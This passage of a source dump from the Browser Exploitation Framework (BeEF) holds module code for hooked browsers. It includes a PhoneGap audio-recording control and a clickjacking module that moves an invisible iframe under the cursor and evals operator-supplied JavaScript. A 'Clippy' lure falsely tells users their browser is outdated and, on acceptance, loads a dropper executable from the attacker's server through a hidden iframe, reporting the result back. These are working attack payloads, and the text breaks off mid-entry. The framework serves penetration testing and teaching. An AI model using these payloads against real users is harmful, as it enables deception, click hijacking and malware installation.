    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// exploit phonegap\n//\nbeef.execute(function() {\n    m.stopRecord();\n    // weirdly setTimeout and stopRecord don't seem to work together\n    //milliseconds = \"<%== @duration %>\" * 1000;\n    //setTimeout(\"m.stopRecord()\", milliseconds);\n    \n    // so here is an ugly work around\n    //start = new Date(); \n    //stop = start.getTime() + 5000; \n    //do { \n    //    current = new Date(); \n    //    current = current.getTime(); \n    //} while(current < stop) \n    //m.stopRecord();\n    \n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"finished recording\");\t\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_stop_record_audio/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_stop_record_audio:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Stop Recording Audio\"\n            description: \"Stop recording audio. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_stop_record_audio/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_stop_record_audio < BeEF::Core::Command\nend\n"
  },
  {
    "path": "modules/social_engineering/clickjacking/command.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nbeef.execute(function() {\n\tvar elems = {\n\t\touterFrame: \"cjFrame\",\n\t\tinnerFrame: \"innerFrame\",\n\t\tbtn: \"persistentFocusBtn\"\n\t}\n\n\tvar clicked = 0;\n\tvar src = \"<%= @iFrameSrc %>\";\n\tvar secZone = \"<%= @iFrameSecurityZone %>\";\n\tvar sandbox = \"<%= @iFrameSandbox %>\";\n\tvar visibility = \"<%= @iFrameVisibility %>\";\n\n\tvar clicks = [\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_1) %>\", posTop:cleanPos(\"<%= @iFrameTop_1 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_1 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_2) %>\", posTop:cleanPos(\"<%= @iFrameTop_2 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_2 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_3) %>\", posTop:cleanPos(\"<%= @iFrameTop_3 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_3 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_4) %>\", posTop:cleanPos(\"<%= @iFrameTop_4 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_4 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_5) %>\", posTop:cleanPos(\"<%= @iFrameTop_5 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_5 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_6) %>\", posTop:cleanPos(\"<%= @iFrameTop_6 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_6 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_7) %>\", posTop:cleanPos(\"<%= @iFrameTop_7 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_7 %>\")},\n\t\t{js:\"<%= URI::Parser.new.escape(@clickaction_8) %>\", posTop:cleanPos(\"<%= @iFrameTop_8 %>\"), posLeft:cleanPos(\"<%= @iFrameLeft_8 %>\")},\n\t\t{js:\"void(0);\", posTop:'-', posLeft:'-'}\n\t]\n\n\tvar iframeAttrs = {};\n\tiframeAttrs.src = src;\n\t(secZone == \"on\") ? iframeAttrs.security = \"restricted\" : \"\";\n\t(sandbox == \"on\") ? iframeAttrs.sandbox = \"allow-forms\" : \"\";\n\n\tvar iframeStyles = {};\n\tiframeStyles.width = \"<%= @iFrameWidth %>px\";\n\tiframeStyles.height = \"<%= @iFrameHeight %>px\";\n\tiframeStyles.opacity = (visibility == \"on\") ? \"0.6\" : \"0.0\";\n\tiframeStyles.filter = (visibility == \"on\") ? \"alpha(opacity=60)\" : \"alpha(opacity=0)\";\n\n\tvar innerPos = {};\n\t//initialize iframe\n\tinnerPos.top = clicks[0].posTop + \"px\";\n\tinnerPos.left = clicks[0].posLeft + \"px\";\n\n\t//returns a negative version of a number, or if NaN returns a dash\n\tfunction cleanPos(coordinate) {\n\t\tvar iCoordinate = parseInt(coordinate);\n\t\tif (isNaN(iCoordinate))\n\t\t\treturn \"-\";\n\t\telse if (iCoordinate > 0)\n\t\t\treturn (-1 * iCoordinate)\n\t\treturn iCoordinate\n\t}\n\n\tfunction init(params, styles, stylesInner, callback) {\n\t\tvar container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles);\n\t\tvar inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner);\n\n\t\tvar containerDiv = $j('<div id=\"' + elems.outerFrame + '\"></div>').css(container).prependTo('body');\n\t\tvar containerDiv = $j('<input id=\"' + elems.btn + '\" type=\"button\" value=\"invisible\" style=\"width:1px;height:1px;opacity:0;alpha(opacity=0);margin-left:-200px\" />').appendTo('body');\n\n\t\tvar innerIframe = $j('<iframe id=\"' + elems.innerFrame + '\" scrolling=\"no\" />').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame);\n\n\t\treturn containerDiv;\n\t}\n\n\tfunction step1(){\n\t\tvar btnSelector = \"#\" + elems.btn;\n\t\tvar outerSelector = \"#\" + elems.outerFrame;\n\t\tvar btnObj = $j(btnSelector);\n\t\tvar outerObj = $j(outerSelector);\n\n\t\t$j(\"body\").mousemove(function(e) {\n\t\t\t$j(outerObj).css('top', e.pageY);\n\t\t\t$j(outerObj).css('left', e.pageX);\n\t\t});\n\n\t\t$j(btnObj).focus();\n\t\t$j(btnObj).focusout(function() {\n\t\t\tcjLog(\"Iframe clicked\");\n\t\t\tiframeClicked();\n\t\t});\n\t}\n\n\tfunction iframeClicked(){\n\t\tclicked++;\n\t\tvar jsfunc = '';\n\t\tjsfunc = clicks[clicked-1].js;\n\t\tinnerPos.top = clicks[clicked].posTop;\n\t\tinnerPos.left = clicks[clicked].posLeft;\n\t\teval(unescape(jsfunc));\n\t\tsetTimeout(function(){\n\t\t\tupdateIframePosition();\n\t\t}, <%= @clickDelay %>);\n\n\t\tsetTimeout(function(){\n\t\t\tvar btnSelector = \"#\" + elems.btn;\n\t\t\tvar btnObj = $j(btnSelector);\n\t\t\t$j(btnObj).focus();\n\n\t\t\t//check if there are any more actions to perform\n\t\t\ttry {\n\t\t\t\tif (isNaN(parseInt(clicks[clicked].posTop))) {\n\t\t\t\t\tremoveAll(elems);\n\t\t\t\t\tthrow \"No more clicks.\";\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tcjLog(e);\n\t\t\t}\n\t\t}, 200);\n\t}\n\n\tfunction updateIframePosition(){\n\t\tvar innerSelector = \"#\" + elems.innerFrame;\n\t\tvar innerObj = $j(innerSelector);\n\t\t$j(innerObj).css('top', innerPos.top + 'px');\n\t\t$j(innerObj).css('left', innerPos.left + 'px');\n\t}\n\n\t//Remove outerFrame and persistent button\n\tfunction removeAll(){\n\t\t$j(\"#\" + elems.outerFrame).remove();\n\t\t$j(\"#\" + elems.btn).remove();\n\t}\n\n\tfunction cjLog(msg){\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + msg);\n\t}\n\n\tinit(iframeAttrs, iframeStyles, innerPos,\n\t\tfunction() {\n\t\t\tstep1();\n\t\t\tcjLog(\"Iframe successfully created.\");\n\t\t}\n\t);\n});\n"
  },
  {
    "path": "modules/social_engineering/clickjacking/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nbeef:\n    module:\n        clickjacking:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Clickjacking\"\n            description: \"Allows you to perform basic multi-click clickjacking. The iframe follows the mouse, so anywhere the user clicks on the page will be over x-pos,y-pos. The optional JS configuration values specify local Javascript to exectute when a user clicks, allowing the page can give visual feedback. The attack stops when y-pos is set to a non-numeric values (e.g. a dash). <br /><br />For a demo, visit /demos/clickjacking/clickjack_attack.html with the default settings (based on browser they may have to be adjusted).\"\n            authors: [\"Brigette Lundeen\", \"Rich Lundeen\"]\n            target:\n                user_notify: [\"FF\", \"C\", \"IE\"]\n"
  },
  {
    "path": "modules/social_engineering/clickjacking/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Clickjacking < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    uri = \"#{base_host}/demos/clickjacking/clickjack_victim.html\"\n\n    [\n      { 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => 'textarea', 'value' => uri, 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameSecurityZone', 'ui_label' => 'Security restricted (IE)', 'type' => 'checkbox' },\n      { 'name' => 'iFrameSandbox', 'ui_label' => 'Sandbox', 'type' => 'checkbox' },\n      { 'name' => 'iFrameVisibility', 'ui_label' => 'Show Attack', 'type' => 'checkbox', 'checked' => 'checked' },\n      { 'name' => 'clickDelay', 'ui_label' => 'Click Delay (ms)', 'value' => '300', 'width' => '100px' },\n      { 'name' => 'iFrameWidth', 'ui_label' => 'iFrame Width', 'value' => '16', 'width' => '100px' },\n      { 'name' => 'iFrameHeight', 'ui_label' => 'iFrame Height', 'value' => '10', 'width' => '100px' },\n\n      { 'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' },\n      { 'name' => 'clickaction_1', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$(\"#overlay1\").data(\"overlay\").close();', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width' => '100px' },\n      { 'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '55', 'width' => '100px' },\n\n      { 'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' },\n      { 'name' => 'clickaction_2', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => '$(\".more-quotes\").trigger(\"click\");', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_2', 'ui_label' => 'X-pos', 'value' => '20', 'width' => '100px' },\n      { 'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '135', 'width' => '100px' },\n\n      { 'name' => 'Click_3', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 3' },\n      { 'name' => 'clickaction_3', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_3', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_3', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' },\n\n      { 'name' => 'Click_4', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 4' },\n      { 'name' => 'clickaction_4', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_4', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_4', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' },\n\n      { 'name' => 'Click_5', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 5' },\n      { 'name' => 'clickaction_5', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_5', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_5', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' },\n\n      { 'name' => 'Click_6', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 5' },\n      { 'name' => 'clickaction_6', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_6', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_6', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' },\n\n      { 'name' => 'Click_7', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 7' },\n      { 'name' => 'clickaction_7', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_7', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_7', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' },\n\n      { 'name' => 'Click_8', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 8' },\n      { 'name' => 'clickaction_8', 'ui_label' => 'JS', 'type' => 'textarea', 'value' => 'void(0)', 'width' => '400px', 'height' => '50px' },\n      { 'name' => 'iFrameLeft_8', 'ui_label' => 'X-pos', 'value' => '-', 'width' => '100px' },\n      { 'name' => 'iFrameTop_8', 'ui_label' => 'Y-pos', 'value' => '-', 'width' => '100px' }\n\n    ]\n  end\n\n  def post_execute\n    save({ 'clickjack' => @datastore['clickjack'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/clippy/assets/README.txt",
    "content": "heretic-clippy is copyright (c) 2013 sprky0\nHomepage: https://github.com/sprky0/heretic-clippy\n"
  },
  {
    "path": "modules/social_engineering/clippy/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  \n/**\n * Heretic Clippy\n * @version 1.0.0\n * @author sprky0\n * @modified vt & denden\n**/\n\nfunction __clippyboot(run) {\n\tvar _run = run;\n\tif (!document.getElementsByTagName(\"body\")[0]) {\n\t\tsetTimeout(function(){__clippyboot(_run);},10);\n\t} else {\n\t\t_run();\n\t}\n}\n\nvar GUID = {base:\"_\",cur:0,get:function(){this.cur++;return this.base+this.cur;}}\n\nvar HelpText = function(_question,reusable) {\n\tthis.question = _question;\n\tthis.options = [];\n\tthis.key = GUID.get();\n\tthis.views = 0;\n\tthis.reusable = (reusable === true);\n\tthis.timeout = {};\n\treturn this;\n}\nHelpText.prototype.available = function() {\n\treturn (this.views < 1 || this.reusable === true);\n}\nHelpText.prototype.addResponseURL = function(_text,_url) {\n\tthis.options.push({text:_text,URL:_url,rel:\"external\"});\n\treturn;\n}\nHelpText.prototype.addResponse = function(_text,_callback) {\n\tthis.options.push({text:_text,callback:_callback,rel:\"internal\"});\n\treturn;\n}\nHelpText.prototype.addTimeout = function(_timeout,_callback) {\n\tthis.timeout = {callback:_callback,timeout:_timeout};\n}\nHelpText.prototype.getKey = function() {return this.key;}\nHelpText.prototype.toString = function() {\n\treturn this.question;\n}\nHelpText.prototype.toString = function() {\n\treturn this.getKey();\t\n}\nHelpText.prototype.toElements = function() {\n\n\tthis.views++;\n\n\tvar div = document.createElement('div');\n\tvar p = document.createElement('p');\n\tp.innerHTML = this.question;\n\tdiv.appendChild(p);\n\n\tfor(var i = 0; i < this.options.length; i++) {\n\t\tvar button = document.createElement('button');\n\t\tbutton.innerHTML = this.options[i].text;\n\t\tif (this.options[i].rel == \"internal\")\n\t\t\tbutton.onclick = this.options[i].callback;\n\t\telse {\n\t\t\tvar _Option = this.options[i];\n\t\t\tbutton.onclick = function(){\n\t\t\t\twindow.location = _Option.URL;\n\t\t\t}\n\t\t}\n\t\tdiv.appendChild(button);\n\t}\n\n\tif (this.timeout.callback && typeof(this.timeout.callback) == \"function\") {\n\t\tsetTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500));\n\t}\n\n\treturn div;\n}\n\n/* CLIPPY Display */\nvar ClippyDisplay = function(options) {\n\n\tthis.file_dir = (options.file_dir) ? options.file_dir : \"\";\n\n\tthis.div = document.createElement('div');\n\tthis.div.style.zIndex = 1000000;\n\tthis.div.style.width = \"102px\";\n\tthis.div.style.height = \"98px\";\n\tthis.div.style.backgroundColor = \"transparent\";\n\tthis.div.style.position = \"absolute\";\n\tthis.div.style.bottom = 0;\n\tthis.div.style.color = \"black\";\n\tthis.div.style.right = \"60px\";\n\tthis.div.style.display = \"inline\";\n\n\tif (navigator.userAgent.match(/MSIE/)) {\n\t\tthis.div.style.filter = \"revealTrans(transition=12,duration=1.8)\";\n\t}\n\telse {\n\t\tvar img = new Image();\n\t\t\timg.src = this.file_dir + \"clippy-main.png\";\n\t\t\timg.style.position = \"relative\";\n\t\t\timg.style.display = \"block\";\n\t\t\timg.id = \"clippyid\";\n\n\t\tthis.div.appendChild(img);\n\t}\n\n\tthis.div.style.opacity = (options.visible === false) ? 0 : 1;\n\n\treturn this;\n}\nClippyDisplay.prototype.getElement = function() {\n\treturn this.div || null;\n}\nClippyDisplay.prototype.fadeIn = function(duration,options) {\n\n\tvar _clipple = this;\n\n\tif (!options) \n\t\toptions = {};\n\tif (!options.step)\n\t\toptions.step = 1 / 200;\n\tif (!options.value)\n\t\toptions.value = 0;\n\tif (!options.remain)\n\t\toptions.remain = 199;\n\tif (!options.increment)\n\t\toptions.increment = duration / 200;\n\n\toptions.remain--;\n\toptions.value += options.step;\n\t\n\tif (navigator.userAgent.match(/MSIE/)) {\n\t\timgfile = _clipple.file_dir + \"clippy-main.png\";\n\t\t_clipple.div.filters[0].Apply();\n\t\t_clipple.div.innerHTML=\"<img src='\"+imgfile+\"' />\";\n\t\t_clipple.div.filters[0].Play();\n\t}\n\telse {\n\t\t_clipple.div.style.opacity = options.value;\n\t\tif (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); }\n\t}\n\n\treturn;\n}\n\n\nClippyDisplay.prototype.fadeOut = function(duration,options) {\n\n\tvar _clipple = this;\n\n\tif (!options) \n\t\toptions = {};\n\tif (!options.step)\n\t\toptions.step = 1 / 200;\n\tif (!options.value)\n\t\toptions.value = 1;\n\tif (!options.remain)\n\t\toptions.remain = 199;\n\tif (!options.increment)\n\t\toptions.increment = duration / 200;\n\n\toptions.remain--;\n\toptions.value -= options.step;\n\t_clipple.div.style.opacity = options.value;\n\t\n\n\n\tif (navigator.userAgent.match(/MSIE/)) {\n\t\tdocument.body.removeChild(document.getElementById(\"pipes\"));\n\t}\n\telse {\n\t\tif (options.remain > 0) { \n\t\t\tsetTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); \n\t\t}\t\n\t\telse{ \n\t\t\tdocument.body.removeChild(document.getElementById(\"pipes\"));\n\t\t}\n\t}\n\n\treturn;\n}\n\n\n/** SPEECH BUBBLE **/\n\nvar PopupDisplay = function(o,options) {\n\n\tthis.file_dir = (options.file_dir) ? options.file_dir : \"\";\n\n\tif (typeof(o) === \"string\") {\n\t\tp = document.createElement('p');\n\t\tp.innerHTML = o;\n\t\to = p;\n\t}\n\n\tthis.div = document.createElement('div');\n\tthis.div.style.zIndex = 1000000;\n\tthis.div.style.width = \"130px\";\n\tthis.div.style.height = \"auto\";\n\tthis.div.style.backgroundColor = \"transparent\";\n\tthis.div.style.color = \"black\";\n\tthis.div.style.position = \"absolute\";\n\tthis.div.style.bottom = \"85px\";\n\tthis.div.style.right = \"55px\";\n\tthis.div.style.display = \"block\";\n\n\tvar imgTop = new Image();\n\timgTop.src = this.file_dir + \"clippy-speech-top.png\";\n\timgTop.style.position = \"relative\";\n\timgTop.style.display = \"block\";\n\tthis.div.appendChild(imgTop);\n\n\tthis.message = document.createElement('div');\n\tthis.message.style.background = \"transparent url('\" + this.file_dir + \"clippy-speech-mid.png') top left repeat-y\";\n\tthis.message.style.padding = \"8px\";\n\tthis.message.style.font = \"11.5px Arial, Verdana, Sans\";\n\tthis.message.appendChild(o);\n\n\tthis.div.appendChild(this.message);\n\n\tvar imgBottom = new Image();\n\timgBottom.src = this.file_dir + \"clippy-speech-bottom.png\";\n\timgBottom.style.position = \"relative\";\n\timgBottom.style.display = \"block\";\n\tthis.div.appendChild(imgBottom);\n\n\treturn this;\n}\nPopupDisplay.prototype.close = function() {\n\ttry {\n\t\tvar div = this.getElement();\n\t\tif (div != null && div.parentNode) {\n\t\t\tdiv = div.parentNode;\n\t\t\tdiv.removeChild(this.getElement());\n\t\t}\n\t} catch(e) {\n\t\t// alert(e)\n\t}\n}\nPopupDisplay.prototype.getElement = function() {\n\treturn this.div;\n}\n\n\n/** CLIPPY controller **/\n\nvar Clippy = function(_homeSelector,file_dir) {\n\tthis.help = {};\n\t// What options are OK to use as an introductory question?\n\tthis.firstlines = [];\n\tthis.homebase = this.findHomeBase(_homeSelector);\n\tthis.timer = false;\n\tthis.file_dir = file_dir;\n\treturn this;\n}\nClippy.prototype.findHomeBase = function(selector) {\n\n\tif (!selector)\n\t\tselector = \"body\";\n\n\tvar ref = false;\n\t\n\tif (selector.charAt(0)==\"#\") {\n\t\tref = document.getElementById(selector);\n\t} else {\n\t\tref = document.getElementsByTagName(selector)[0];\n\n\t\tvar div = document.createElement(\"div\");\n\n\t\tdiv.style.zIndex = 9999999;\n\t\tdiv.id = \"pipes\";\n\t\tdiv.style.width = \"300px\";\n\t\tdiv.style.height = \"300px\";\n\t\tdiv.style.backgroundColor = \"transparent\";\n\t\tdiv.style.position = \"fixed\";\n\t\tdiv.style.bottom = \"0\";\n\t\tdiv.style.right = \"0\";\n\t\t\n\t\tref.appendChild(div);\n\n\t\treturn div;\n\t\n\t}\n\t\n\tbeef.debug(ref);\n\t\n\treturn ref;\n}\nClippy.prototype.run = function(opt) {\n\n\tvar _c = this;\n\n\tthis.character = new ClippyDisplay({\n\t\tfile_dir : this.file_dir,\n\t\tvisible : false\n\t});\n\tthis.homebase.appendChild( this.character.getElement() );\n\tthis.character.fadeIn(1000);\n\n\tvar Help = new HelpText(\"<%== @askusertext %>\");\n\t\tHelp.addResponse(\"Yes\", function(){ _c.hahaha(); } );\n\t\tHelp.addResponse(\"Not now\", function(){  _c.killClippy(); setTimeout(function() { new Clippy(\"body\",\"<%== @clippydir %>\").run(); },\"<%== @respawntime %>\");  } );\n\tthis.addHelp(Help,true);\n\n\t// initial wait\n\tthis.talkLater();\n\n}\nClippy.prototype.killClippy = function(){\n\n\t\tthis.closeBubble();\n\t\tthis.character.fadeOut(1000);\n}\nClippy.prototype.hahaha = function() {\n\t\n\t\tvar div = document.createElement(\"div\");\n\t\tvar _c = this;\n\t\tdiv.id = \"heehee\";\n\t\tdiv.style.display = \"none\";\n\t\tdiv.innerHTML=\"<iframe src='<%== @executeyes %>' width=1 height=1 style='display:none'></iframe>\";\n\t\t\n\t\tdocument.body.appendChild(div);\n\t\t_c.openBubble(\"<%== @thankyoumessage %>\");\n\t\tsetTimeout(function () { _c.killClippy(); }, 5000); \n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted');\n\n}\nClippy.prototype.addHelp = function(_help, is_startphrase) {\n\tthis.help[ _help.getKey() ] = _help;\n\tif (is_startphrase)\n\t\tthis.firstlines.push( _help.getKey() );\n\n\treturn;\n}\nClippy.prototype.sayOne = function(keys,alternative) {\n\n\tvar found = false, count = 0;\n\t\n\twhile(count < keys.length) {\n\t\tvar choice = parseInt( Math.random() * keys.length );\n\t\tif( this.canSay( keys[choice]) ) {\n\t\t\tthis.say(keys[choice]);\n\t\t\treturn;\n\t\t}\n\t\tcount ++;\n\t}\n\n\treturn;\n}\nClippy.prototype.canSay = function(key) {\n\treturn this.help[ key ].available();\n}\nClippy.prototype.say = function(key,alternative) {\n\n\tif (this.timer != false) {\n\t\ttry {\n\t\t\tclearTimeout(this.timer);\n\t\t\tthis.timer = false;\n\t\t} catch(e) {}\n\t}\n\n\tif(typeof(key) !== \"string\" && key.length)\n\t\tthis.sayOne(key,alternative);\n\n\tthis.openBubble( this.help[ key ].toElements() );\n}\nClippy.prototype.firstLine = function() {\n\tthis.sayOne(this.firstlines);\t\n}\nClippy.prototype.talkLater = function() {\n\tthis.closeBubble(); \n\tvar _c = this;\n\tthis.timer = setTimeout( function() { _c.firstLine(); }, 2000);\n}\nClippy.prototype.openBubble = function(_o) {\n\n\tif (typeof(_o)==\"string\") {\n\t\tvar o = document.createElement(\"p\");\n\t\to.innerHTML = _o;\n\t} else {\n\t\tvar o = _o;\n\t}\n\n\tif (this.bubble) {\n\t\tthis.bubble.close();\n\t}\n\n\tthis.bubble = new PopupDisplay(o,{file_dir:this.file_dir});\n\tthis.homebase.appendChild(this.bubble.getElement());\n\n}\nClippy.prototype.closeBubble = function() {\n\tif (this.bubble) {\n\t\tthis.bubble.close();\n\t}\n}\n\n/* APPLICATION LOGIC: */\n// function clippy_boot() {if(document.getElementsByTagName(\"BODY\").length === 0) {setTimeout(\"clippy_boot()\",1);} else {clippy_main();}return;}\n// function clippy_main() {var c = new Clippy(\"homebase\",\"./\").run();}\n/* GO! */\n// clippy_boot();\n\n__clippyboot(function(){new Clippy(\"body\",\"<%== @clippydir %>\").run();});\n\n});\n"
  },
  {
    "path": "modules/social_engineering/clippy/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        clippy:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Clippy\"\n            description: \"Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.\"\n            authors: [\"vt [nick.freeman@security-assessment.com]\", \"denden [denis.andzakovic@security-assessment.com]\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/clippy/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Clippy < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png', '/clippy/clippy-speech-bottom', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png', '/clippy/clippy-speech-mid', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png', '/clippy/clippy-speech-top', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png', '/clippy/clippy-main', 'png')\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    [\n      { 'name' => 'clippydir', 'description' => 'Webdir containing clippy images', 'ui_label' => 'Clippy image directory', 'value' => \"#{base_host}/clippy/\" },\n      { 'name' => 'askusertext', 'description' => 'Text for speech bubble', 'ui_label' => 'Custom text',\n        'value' => 'Your browser appears to be out of date. Would you like to upgrade it?' },\n      { 'name' => 'executeyes', 'description' => 'Executable to download', 'ui_label' => 'Executable', 'value' => \"#{base_host}/dropper.exe\" },\n      { 'name' => 'respawntime', 'description' => '', 'ui_label' => 'Time until Clippy shows his face again', 'value' => '5000' },\n      { 'name' => 'thankyoumessage', 'description' => 'Thankyou message after downloading', 'ui_label' => 'Thankyou message after downloading',\n        'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!' }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'answer' => @datastore['answer'] })\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png')\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/edge_wscript_wsh_injection/command.js",
